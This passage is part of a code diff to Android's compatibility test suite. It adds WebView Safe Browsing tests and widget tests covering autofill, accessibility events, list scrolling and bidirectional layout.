+                CharSequence text,
+                int startIndex,
+                int endIndex,
+                LocaleList defaultLocales) {
+                return new TextSelection.Builder(0, 1).build();
+            }
+
+            @Override
+            public TextClassification classifyText(
+                CharSequence text,
+                int startIndex,
+                int endIndex,
+                LocaleList defaultLocales) {
+                return new TextClassification.Builder().build();
+            }
+        };
+
+        TextClassifier classifier = new CustomTextClassifier();
+        WebView webView = new WebView(getActivity());
+        webView.setTextClassifier(classifier);
+        assertSame(webView.getTextClassifier(), classifier);
+    }
+
+    private static class MockContext extends ContextWrapper {
+        private boolean mGetApplicationContextWasCalled;
+
+        public MockContext(Context context) {
+            super(context);
+        }
+
+        public Context getApplicationContext() {
+            mGetApplicationContextWasCalled = true;
+            return super.getApplicationContext();
+        }
+
+        public boolean wasGetApplicationContextCalled() {
+            return mGetApplicationContextWasCalled;
+        }
+    }
+
+    public void testStartSafeBrowsingUseApplicationContext() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        final MockContext ctx = new MockContext(getActivity());
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        WebView.startSafeBrowsing(ctx, new ValueCallback<Boolean>() {
+            @Override
+            public void onReceiveValue(Boolean value) {
+                assertTrue(ctx.wasGetApplicationContextCalled());
+                resultLatch.countDown();
+                return;
+            }
+        });
+        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+    }
+
+    public void testStartSafeBrowsingWithNullCallbackDoesntCrash() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        WebView.startSafeBrowsing(getActivity().getApplicationContext(), null);
+    }
+
+    public void testStartSafeBrowsingInvokesCallback() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        final CountDownLatch resultLatch = new CountDownLatch(1);
+        WebView.startSafeBrowsing(getActivity().getApplicationContext(),
+                new ValueCallback<Boolean>() {
+            @Override
+            public void onReceiveValue(Boolean value) {
+                assertTrue(Looper.getMainLooper().isCurrentThread());
+                resultLatch.countDown();
+                return;
+            }
+        });
+        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+    }
+
     private void savePrintedPage(final PrintDocumentAdapter adapter,
             final ParcelFileDescriptor descriptor, final FutureTask<Boolean> result) {
         adapter.onWrite(new PageRange[] {PageRange.ALL_PAGES}, descriptor,
@@ -2872,4 +3033,17 @@
             return mOnScaleChangedCalled;
         }
     }
+
+    public void testGetSafeBrowsingPrivacyPolicyUrl() throws Exception {
+        if (!NullWebViewUtils.isWebViewAvailable()) {
+            return;
+        }
+
+        assertNotNull(WebView.getSafeBrowsingPrivacyPolicyUrl());
+        try {
+            new URL(WebView.getSafeBrowsingPrivacyPolicyUrl().toString());
+        } catch (MalformedURLException e) {
+            Assert.fail("The privacy policy URL should be a well-formed URL");
+        }
+    }
 }
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 653ef77..ec104d8 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -37,6 +37,6 @@
 LOCAL_PACKAGE_NAME := CtsWidgetTestCases
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/widget/AndroidTest.xml b/tests/tests/widget/AndroidTest.xml
index f84c222..2eb0b86 100644
--- a/tests/tests/widget/AndroidTest.xml
+++ b/tests/tests/widget/AndroidTest.xml
@@ -14,7 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Widget test cases">
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsWidgetTestCases.apk" />
diff --git a/tests/tests/widget/res/layout/relative_layout_bidi.xml b/tests/tests/widget/res/layout/relative_layout_bidi.xml
new file mode 100644
index 0000000..de4ddd7
--- /dev/null
+++ b/tests/tests/widget/res/layout/relative_layout_bidi.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+            android:layout_width="match_parent"
+            android:layout_height="match_parent" >
+
+    <RelativeLayout
+        android:id="@+id/relative_sublayout_bidi"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content">
+
+        <TextView
+            android:layout_width="100dp"
+            android:layout_height="100dp"
+            android:layout_marginStart="60dp"
+            android:layout_marginEnd="20dp" />
+    </RelativeLayout>
+
+</RelativeLayout>
diff --git a/tests/tests/widget/res/layout/tabhost_focus.xml b/tests/tests/widget/res/layout/tabhost_focus.xml
new file mode 100644
index 0000000..1229454
--- /dev/null
+++ b/tests/tests/widget/res/layout/tabhost_focus.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <Button
+        android:id="@+id/before_button"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Before Button"/>
+
+    <TabHost
+        android:id="@android:id/tabhost"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="match_parent"
+            android:orientation="vertical">
+
+            <TabWidget
+                android:id="@android:id/tabs"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"></TabWidget>
+
+            <FrameLayout
+                android:id="@android:id/tabcontent"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent">
+
+                <LinearLayout
+                    android:id="@+id/tab1"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:orientation="vertical">
+
+                    <Button
+                        android:id="@+id/tab1_button"
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:text="Tab 1 Content" />
+
+                </LinearLayout>
+
+                <LinearLayout
+                    android:id="@+id/tab2"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:orientation="vertical">
+
+                    <Button
+                        android:id="@+id/tab2_button"
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:text="Tab 2 Content" />
+                </LinearLayout>
+            </FrameLayout>
+        </LinearLayout>
+    </TabHost>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 612793a..51e6102 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -854,6 +854,22 @@
                 expectedCheckedItems, mListView.getCheckedItemPositions());
     }
 
+    @Test
+    @UiThreadTest
+    public void testCheckItemCount() throws Throwable {
+        final ArrayList<String> items = new ArrayList<>(Arrays.asList(COUNTRY_LIST));
+        final ArrayAdapter<String> adapter = new PositionArrayAdapter<>(mContext,
+                android.R.layout.simple_list_item_1, items);
+        mListView.setAdapter(adapter);
+        mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE);
+        mListView.setItemChecked(0, true);
+        mListView.setItemChecked(1, true);
+        assertEquals(2, mListView.getCheckedItemCount());
+
+        mListView.setAdapter(adapter);
+        assertEquals(0, mListView.getCheckedItemCount());
+    }
+
     @MediumTest
     @Test
     public void testCheckedItemsUnderNoneChoiceMode() throws Throwable {
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
index 8002e5b..ee6dc39 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -41,6 +41,7 @@
 import android.widget.TextView;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener;
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
@@ -75,6 +76,11 @@
     private ArrayAdapter<String> mCountriesAdapter;
     private int mRowHeightPx;
 
+    private static class ListScrollPosition {
+        public int mFirstVisiblePosition;
+        public int mFirstViewVerticalOffset;
+    }
+
     @Before
     public void setup() throws Throwable {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
@@ -569,14 +575,40 @@
         verifyListScrollAndEmulateFlingGesture(false);
     }
 
+    private ListScrollPosition getCurrentScrollPosition() {
+        ListScrollPosition result = new ListScrollPosition();
+        result.mFirstVisiblePosition = mListView.getFirstVisiblePosition();
+        result.mFirstViewVerticalOffset = mListView.getChildAt(0).getTop();
+        return result;
+    }
+
     @Test
     public void testListFlingWithZeroVelocity() throws Throwable {
         mListView.setVelocityScale(0.0f);
 
-        final CountDownLatch flingLatch = new CountDownLatch(1);
+        final CountDownLatch flingLatch = new CountDownLatch(2);
         mListView.setOnScrollListener(new ScrollIdleListListener(flingLatch));
-        final int flingAmount =
-                CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false);
+
+        final ListScrollPosition[] scrollPositionAfterUpEvent =
+                new ListScrollPosition[1];
+        final EventInjectionListener eventInjectionListener =
+                new EventInjectionListener() {
+                    @Override
+                    public void onDownInjected(int xOnScreen, int yOnScreen) {
+                    }
+
+                    @Override
+                    public void onMoveInjected(int[] xOnScreen, int[] yOnScreen) {
+                    }
+
+                    @Override
+                    public void onUpInjected(int xOnScreen, int yOnScreen) {
+                        scrollPositionAfterUpEvent[0] = getCurrentScrollPosition();
+                        flingLatch.countDown();
+                    }
+                };
+        CtsTouchUtils.emulateFlingGesture(mInstrumentation, mListView, false,
+                eventInjectionListener);
 
         assertTrue("Timed out while waiting for the fling to complete",
                 flingLatch.await(5, TimeUnit.SECONDS));
@@ -584,13 +616,12 @@
         // Since our velocity scale is 0, we expect that the emulated fling gesture didn't
         // result in any fling, but just a simple scroll that stopped at the ACTION_UP
         // event.
-        final int expectedTopOffsetAtFlingEnd = -flingAmount;
-        final int expectedBottomOffsetAtFlingEnd = mListView.getHeight() - flingAmount;
-        final int expectedTopPositionAtFlingEnd = expectedTopOffsetAtFlingEnd / mRowHeightPx;
-        final int expectedBottomPositionAtFlingEnd = expectedBottomOffsetAtFlingEnd / mRowHeightPx;
+        final ListScrollPosition scrollPositionAtRest = getCurrentScrollPosition();
 
-        assertEquals(expectedTopPositionAtFlingEnd, mListView.getFirstVisiblePosition());
-        assertEquals(expectedBottomPositionAtFlingEnd, mListView.getLastVisiblePosition());
+        assertEquals("First visible position", scrollPositionAtRest.mFirstVisiblePosition,
+                scrollPositionAfterUpEvent[0].mFirstVisiblePosition);
+        assertEquals("First view offset", scrollPositionAtRest.mFirstViewVerticalOffset,
+                scrollPositionAfterUpEvent[0].mFirstViewVerticalOffset);
     }
 
     private static class LargeContentAdapter extends BaseAdapter {
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 7595c98..4350103 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -29,8 +29,8 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.database.DataSetObserver;
-import android.support.test.annotation.UiThreadTest;
 import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
@@ -402,7 +402,20 @@
      */
     @Test
     public void testCreateFromResource() {
-        ArrayAdapter.createFromResource(mContext, R.array.string, R.layout.simple_spinner_item);
+        final ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource(mContext,
+                R.array.string, R.layout.simple_spinner_item);
+        final CharSequence[] staticOptions = adapter.getAutofillOptions();
+        assertEquals(3, staticOptions.length);
+        assertEquals("Test String 1", staticOptions[0]);
+        assertEquals("Test String 2", staticOptions[1]);
+        assertEquals("Test String 3", staticOptions[2]);
+
+        // Make sure values set dynamically wins.
+        adapter.setAutofillOptions("Dynamic", "am I");
+        final CharSequence[] dynamicOptions = adapter.getAutofillOptions();
+        assertEquals(2, dynamicOptions.length);
+        assertEquals("Dynamic", dynamicOptions[0]);
+        assertEquals("am I", dynamicOptions[1]);
 
         ArrayAdapter.createFromResource(mContext, R.array.string, INVALID_ID);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 42c3269..4df0c4a 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -123,6 +123,23 @@
         assertFalse(baseAdapter.isEmpty());
     }
 
+    @Test
+    public void testGetAutofillOptions() {
+        MockBaseAdapter baseAdapter = new MockBaseAdapter();
+        assertNull(baseAdapter.getAutofillOptions());
+
+        baseAdapter.setAutofillOptions("single");
+        CharSequence[] single = baseAdapter.getAutofillOptions();
+        assertEquals(1, single.length);
+        assertEquals("single", single[0]);
+
+        baseAdapter.setAutofillOptions("mult1", "mult2");
+        CharSequence[] multiple = baseAdapter.getAutofillOptions();
+        assertEquals(2, multiple.length);
+        assertEquals("mult1", multiple[0]);
+        assertEquals("mult2", multiple[1]);
+    }
+
     private static class MockBaseAdapter extends BaseAdapter {
         private int mCount = 0;
 
diff --git a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
index a45ac2b..b3c10e3 100644
--- a/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/DatePickerTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.anyInt;
@@ -38,6 +39,7 @@
 import android.support.test.runner.AndroidJUnit4;
 import android.util.SparseArray;
 import android.view.View;
+import android.view.autofill.AutofillValue;
 import android.widget.DatePicker;
 
 import org.junit.Before;
@@ -47,6 +49,7 @@
 
 import java.util.Calendar;
 import java.util.GregorianCalendar;
+import java.util.concurrent.atomic.AtomicInteger;
 
 /**
  * Test {@link DatePicker}.
@@ -88,13 +91,22 @@
     @UiThreadTest
     @Test
     public void testSetEnabled() {
-        assertTrue(mDatePickerCalendarMode.isEnabled());
+        verifySetEnabled(mDatePickerSpinnerMode);
+        verifySetEnabled(mDatePickerCalendarMode);
+    }
 
-        mDatePickerCalendarMode.setEnabled(false);
-        assertFalse(mDatePickerCalendarMode.isEnabled());
+    private void verifySetEnabled(DatePicker datePicker) {
+        assertTrue(datePicker.isEnabled());
 
-        mDatePickerCalendarMode.setEnabled(true);
-        assertTrue(mDatePickerCalendarMode.isEnabled());
+        datePicker.setEnabled(false);
+        assertFalse(datePicker.isEnabled());
+        assertNull(datePicker.getAutofillValue());
+        assertEquals(View.AUTOFILL_TYPE_NONE, datePicker.getAutofillType());
+
+        datePicker.setEnabled(true);
+        assertTrue(datePicker.isEnabled());
+        assertNotNull(datePicker.getAutofillValue());
+        assertEquals(View.AUTOFILL_TYPE_DATE, datePicker.getAutofillType());
     }
 
     private void verifyInit(DatePicker datePicker) {
@@ -102,9 +114,7 @@
                 mock(DatePicker.OnDateChangedListener.class);
 
         datePicker.init(2000, 10, 15, mockDateChangeListener);
-        assertEquals(2000, datePicker.getYear());
-        assertEquals(10, datePicker.getMonth());
-        assertEquals(15, datePicker.getDayOfMonth());
+        assertValues(datePicker, 2000, 10, 15);
 
         verifyZeroInteractions(mockDateChangeListener);
     }
@@ -121,16 +131,12 @@
                 mock(DatePicker.OnDateChangedListener.class);
 
         datePicker.init(2000, 10, 15, mockDateChangeListener);
-        assertEquals(2000, datePicker.getYear());
-        assertEquals(10, datePicker.getMonth());
-        assertEquals(15, datePicker.getDayOfMonth());
+        assertValues(datePicker, 2000, 10, 15);
         verify(mockDateChangeListener, never()).onDateChanged(any(DatePicker.class), anyInt(),
                 anyInt(), anyInt());
 
         datePicker.updateDate(1989, 9, 19);
-        assertEquals(1989, datePicker.getYear());
-        assertEquals(9, datePicker.getMonth());
-        assertEquals(19, datePicker.getDayOfMonth());
+        assertValues(datePicker, 1989, 9, 19);
         verify(mockDateChangeListener, times(1)).onDateChanged(datePicker, 1989, 9, 19);
 
         verifyNoMoreInteractions(mockDateChangeListener);
@@ -151,17 +157,13 @@
 
         datePicker.init(2000, 10, 15, mockDateChangeListener1);
         datePicker.updateDate(1989, 9, 19);
-        assertEquals(1989, datePicker.getYear());
-        assertEquals(9, datePicker.getMonth());
-        assertEquals(19, datePicker.getDayOfMonth());
+        assertValues(datePicker, 1989, 9, 19);
         verify(mockDateChangeListener1, times(1)).onDateChanged(datePicker, 1989, 9, 19);
         verify(mockDateChangeListener2, times(0)).onDateChanged(datePicker, 1989, 9, 19);
 
         datePicker.setOnDateChangedListener(mockDateChangeListener2);
         datePicker.updateDate(2000, 10, 15);
-        assertEquals(2000, datePicker.getYear());
-        assertEquals(10, datePicker.getMonth());
-        assertEquals(15, datePicker.getDayOfMonth());
+        assertValues(datePicker, 2000, 10, 15);
         verify(mockDateChangeListener1, times(0)).onDateChanged(datePicker, 2000, 10, 15);
         verify(mockDateChangeListener2, times(1)).onDateChanged(datePicker, 2000, 10, 15);
     }
@@ -175,9 +177,7 @@
 
     private void verifyUpdateDate(DatePicker datePicker) {
         datePicker.updateDate(1989, 9, 19);
-        assertEquals(1989, datePicker.getYear());
-        assertEquals(9, datePicker.getMonth());
-        assertEquals(19, datePicker.getDayOfMonth());
+        assertValues(datePicker, 1989, 9, 19);
     }
 
     @UiThreadTest
@@ -295,12 +295,64 @@
         datePicker.setId(99);
         assertFalse(datePicker.hasCalledOnRestoreInstanceState());
         datePicker.dispatchRestoreInstanceState(container);
-        assertEquals(2008, datePicker.getYear());
-        assertEquals(9, datePicker.getMonth());
-        assertEquals(10, datePicker.getDayOfMonth());
+        assertValues(datePicker, 2008, 9, 10);
         assertTrue(datePicker.hasCalledOnRestoreInstanceState());
     }
 
+    @UiThreadTest
+    @Test
+    public void testAutofill() {
+        verifyAutofill(mDatePickerSpinnerMode);
+        verifyAutofill(mDatePickerCalendarMode);
+    }
+
+    private void verifyAutofill(DatePicker datePicker) {
+        datePicker.setEnabled(true);
+
+        final AtomicInteger numberOfListenerCalls = new AtomicInteger();
+        datePicker.setOnDateChangedListener(
+                (v, y, m, d) -> numberOfListenerCalls.incrementAndGet());
+
+        final Calendar calendar = new GregorianCalendar();
+        calendar.set(2012, Calendar.DECEMBER, 21);
+
+        final AutofillValue autofilledValue = AutofillValue.forDate(calendar.getTimeInMillis());
+        datePicker.autofill(autofilledValue);
+        assertEquals(autofilledValue, datePicker.getAutofillValue());
+        assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+        assertEquals(1, numberOfListenerCalls.get());
+
+        // Make sure autofill() is ignored when value is null.
+        numberOfListenerCalls.set(0);
+        datePicker.autofill((AutofillValue) null);
+        assertEquals(autofilledValue, datePicker.getAutofillValue());
+        assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+        assertEquals(datePicker.getAutofillValue(), autofilledValue);
+        assertEquals(0, numberOfListenerCalls.get());
+
+        // Make sure autofill() is ignored when value is not a date.
+        numberOfListenerCalls.set(0);
+        datePicker.autofill(AutofillValue.forText("Y U NO IGNORE ME?"));
+        assertEquals(autofilledValue, datePicker.getAutofillValue());
+        assertValues(datePicker, 2012, Calendar.DECEMBER, 21);
+        assertEquals(datePicker.getAutofillValue(), autofilledValue);
+        assertEquals(0, numberOfListenerCalls.get());
+
+        // Make sure getAutofillValue() is reset when value is manually filled.
+        datePicker.autofill(autofilledValue); // 2012-12-21
+        datePicker.updateDate(2000, Calendar.JANUARY, 1);
+        calendar.setTimeInMillis(datePicker.getAutofillValue().getDateValue());
+        assertEquals(2000, calendar.get(Calendar.YEAR));
+        assertEquals(Calendar.JANUARY, calendar.get(Calendar.MONTH));
+        assertEquals(1, calendar.get(Calendar.DAY_OF_MONTH));
+    }
+
+    private void assertValues(DatePicker datePicker, int year, int month, int dayOfMonth) {
+        assertEquals(year, datePicker.getYear());
+        assertEquals(month, datePicker.getMonth());
+        assertEquals(dayOfMonth, datePicker.getDayOfMonth());
+    }
+
     private class MockDatePicker extends DatePicker {
         private boolean mCalledOnSaveInstanceState = false;
         private boolean mCalledOnRestoreInstanceState = false;
diff --git a/tests/tests/widget/src/android/widget/cts/EditTextTest.java b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
index 9785b1f..9cb9903 100644
--- a/tests/tests/widget/src/android/widget/cts/EditTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/EditTextTest.java
@@ -23,7 +23,9 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
 import android.support.test.filters.SmallTest;
 import android.support.test.rule.ActivityTestRule;
@@ -51,6 +53,7 @@
     private EditText mEditText1;
     private EditText mEditText2;
     private AttributeSet mAttributeSet;
+    private Instrumentation mInstrumentation;
 
     @Rule
     public ActivityTestRule<EditTextCtsActivity> mActivityRule =
@@ -58,6 +61,7 @@
 
     @Before
     public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mActivity = mActivityRule.getActivity();
         mEditText1 = (EditText) mActivity.findViewById(R.id.edittext_simple1);
         mEditText2 = (EditText) mActivity.findViewById(R.id.edittext_simple2);
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 2a7e899..6640cc4 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -28,6 +28,7 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.content.res.Configuration;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.annotation.UiThreadTest;
@@ -35,6 +36,7 @@
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.TextUtils;
+import android.view.accessibility.AccessibilityEvent;
 import android.widget.NumberPicker;
 
 import com.android.compatibility.common.util.CtsTouchUtils;
@@ -51,8 +53,10 @@
     private static final String[] NUMBER_NAMES3 = {"One", "Two", "Three"};
     private static final String[] NUMBER_NAMES_ALT3 = {"Three", "Four", "Five"};
     private static final String[] NUMBER_NAMES5 = {"One", "Two", "Three", "Four", "Five"};
+    private static final long TIMEOUT_ACCESSIBILITY_EVENT = 5 * 1000;
 
     private Instrumentation mInstrumentation;
+    private UiAutomation mUiAutomation;
     private NumberPickerCtsActivity mActivity;
     private NumberPicker mNumberPicker;
 
@@ -63,6 +67,7 @@
     @Before
     public void setup() {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mUiAutomation = mInstrumentation.getUiAutomation();
         mActivity = mActivityRule.getActivity();
         mNumberPicker = (NumberPicker) mActivity.findViewById(R.id.number_picker);
     }
@@ -261,32 +266,43 @@
                 mNumberPicker.getDisplayedValueForCurrentSelection()));
     }
 
-    @UiThreadTest
     @Test
-    public void testAccessValue() {
-        mNumberPicker.setMinValue(20);
-        mNumberPicker.setMaxValue(22);
-        mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
-
+    public void testAccessValue() throws Throwable {
         final NumberPicker.OnValueChangeListener mockValueChangeListener =
                 mock(NumberPicker.OnValueChangeListener.class);
-        mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
 
-        mNumberPicker.setValue(21);
-        assertEquals(21, mNumberPicker.getValue());
+        mInstrumentation.runOnMainSync(() -> {
+            mNumberPicker.setMinValue(20);
+            mNumberPicker.setMaxValue(22);
+            mNumberPicker.setDisplayedValues(NUMBER_NAMES3);
 
-        mNumberPicker.setValue(20);
-        assertEquals(20, mNumberPicker.getValue());
+            mNumberPicker.setOnValueChangedListener(mockValueChangeListener);
+        });
 
-        mNumberPicker.setValue(22);
-        assertEquals(22, mNumberPicker.getValue());
+        mInstrumentation.runOnMainSync(() -> {
+            mNumberPicker.setValue(21);
+            assertEquals(21, mNumberPicker.getValue());
+        });
 
-        // Check trying to set value out of min/max range
-        mNumberPicker.setValue(10);
-        assertEquals(20, mNumberPicker.getValue());
+        mUiAutomation.executeAndWaitForEvent(() ->
+                        mInstrumentation.runOnMainSync(() -> mNumberPicker.setValue(20)),
+                (AccessibilityEvent event) ->
+                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED,
+                TIMEOUT_ACCESSIBILITY_EVENT);
 
-        mNumberPicker.setValue(100);
-        assertEquals(22, mNumberPicker.getValue());
+        mInstrumentation.runOnMainSync(() -> {
+            assertEquals(20, mNumberPicker.getValue());
+
+            mNumberPicker.setValue(22);
+            assertEquals(22, mNumberPicker.getValue());
+
+            // Check trying to set value out of min/max range
+            mNumberPicker.setValue(10);
+            assertEquals(20, mNumberPicker.getValue());
+
+            mNumberPicker.setValue(100);
+            assertEquals(22, mNumberPicker.getValue());
+        });
 
         // Since all changes to value are via API calls, we should have no interactions /
         // callbacks on our listener.
@@ -370,11 +386,15 @@
         final int[] numberPickerLocationOnScreen = new int[2];
         mNumberPicker.getLocationOnScreen(numberPickerLocationOnScreen);
 
-        CtsTouchUtils.emulateDragGesture(mInstrumentation,
-                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
-                numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
-                0,
-                - (mNumberPicker.getHeight() - 2));
+        mUiAutomation.executeAndWaitForEvent(() ->
+                        CtsTouchUtils.emulateDragGesture(mInstrumentation,
+                                numberPickerLocationOnScreen[0] + mNumberPicker.getWidth() / 2,
+                                numberPickerLocationOnScreen[1] + mNumberPicker.getHeight() - 1,
+                                0,
+                                -(mNumberPicker.getHeight() - 2)),
+                (AccessibilityEvent event) ->
+                        event.getEventType() == AccessibilityEvent.TYPE_VIEW_SCROLLED,
+                TIMEOUT_ACCESSIBILITY_EVENT);
 
         // At this point we expect that the drag-up gesture has selected the value
         // that was "below" the previously selected one, and that our value change listener
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index a9b5a13..330a92a 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -47,6 +47,7 @@
 import android.transition.Transition.TransitionListener;
 import android.transition.TransitionValues;
 import android.util.AttributeSet;
+import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.MotionEvent;
@@ -1426,6 +1427,16 @@
 
     @Test
     public void testAnchorInPopup() throws Throwable {
+        DisplayMetrics displayMetrics = mActivity.getResources().getDisplayMetrics();
+        float dpWidth = displayMetrics.widthPixels / displayMetrics.density;
+        float dpHeight = displayMetrics.heightPixels / displayMetrics.density;
+        final int minDisplaySize = 320;
+        if (dpWidth < minDisplaySize || dpHeight < minDisplaySize) {
+            // On smaller screens the popups that this test is creating
+            // are not guaranteed to be properly aligned to their anchors.
+            return;
+        }
+
         mPopupWindow = createPopupWindow(
                 mActivity.getLayoutInflater().inflate(R.layout.popup_window, null));
 
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index bebebf2..76415e8 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -359,6 +359,33 @@
         assertTrue(button.getHeight() > 0);
     }
 
+    @Test
+    public void testBidiWidth() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.relative_layout_bidi);
+            mActivity.findViewById(R.id.relative_sublayout_bidi)
+                     .setLayoutDirection(View.LAYOUT_DIRECTION_LTR);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final View ltrLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+        assertNotNull(ltrLayout);
+        final int ltrWidth = ltrLayout.getWidth();
+
+        mActivityRule.runOnUiThread(() -> {
+            mActivity.setContentView(R.layout.relative_layout_bidi);
+            mActivity.findViewById(R.id.relative_sublayout_bidi)
+                     .setLayoutDirection(View.LAYOUT_DIRECTION_RTL);
+        });
+        mInstrumentation.waitForIdleSync();
+
+        final View rtlLayout = mActivity.findViewById(R.id.relative_sublayout_bidi);
+        assertNotNull(rtlLayout);
+        final int rtlWidth = rtlLayout.getWidth();
+
+        assertEquals(ltrWidth, rtlWidth);
+    }
+
     private class MyRelativeLayout extends RelativeLayout {
         public MyRelativeLayout(Context context) {
